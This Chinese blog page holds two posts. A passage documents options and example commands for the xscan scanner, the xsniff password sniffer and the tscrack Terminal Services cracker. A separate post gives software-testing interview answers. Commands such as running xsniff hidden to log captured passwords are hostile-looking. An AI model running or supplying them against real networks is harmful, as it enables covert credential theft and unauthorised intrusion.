    -i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
    -l 显示所有网络适配器
    -v 显示详细扫描进度
    -p 跳过没有响应的主机
    -o 跳过没有检测到开放端口的主机
    -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
    -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
    用法示例
    xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
    xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
    xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

    #9 九:

    3、命令行方式嗅探器: xsniff.exe
    可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
    参数说明
    -tcp 输出TCP数据报
    -udp 输出UDP数据报
    -icmp 输出ICMP数据报
    -pass 过滤密码信息
    -hide 后台运行
    -host 解析主机名
    -addr IP地址 过滤IP地址
    -port 端口 过滤端口
    -log 文件名 将输出保存到文件
    -asc 以ASCII形式输出
    -hex 以16进制形式输出
    用法示例
    xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
    xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

    4、终端服务密码破解: tscrack.exe

    参数说明
    -h 显示使用帮助
    -v 显示版本信息
    -s 在屏幕上打出解密能力
    -b 密码错误时发出的声音
    -t 同
  • 转:2个设计case的面试题

    applejuzi 发布于 2009-02-19 21:35:20

    1。如何测试电脑关机功能

    手工关机:1 点程序中的关机;2 在任务管理器中利用关机功能;

    定时关机:写一些关机的批处理命令


    硬件关机:1 电脑断电;2按开关机按钮


    2。如何测试QQ传输文件功能

    1 文件类型;2 文件大小;3 文件路径(是否支持比较深的路径);4 是否在文件传送中可以取消;5 文件是否支持断点续传;6 是否能够发送,接收,拒绝传送

    以上是在别人的基础上归纳了1下,希望有人补充说明

     

1945/10<12345678910>
Open Toolbar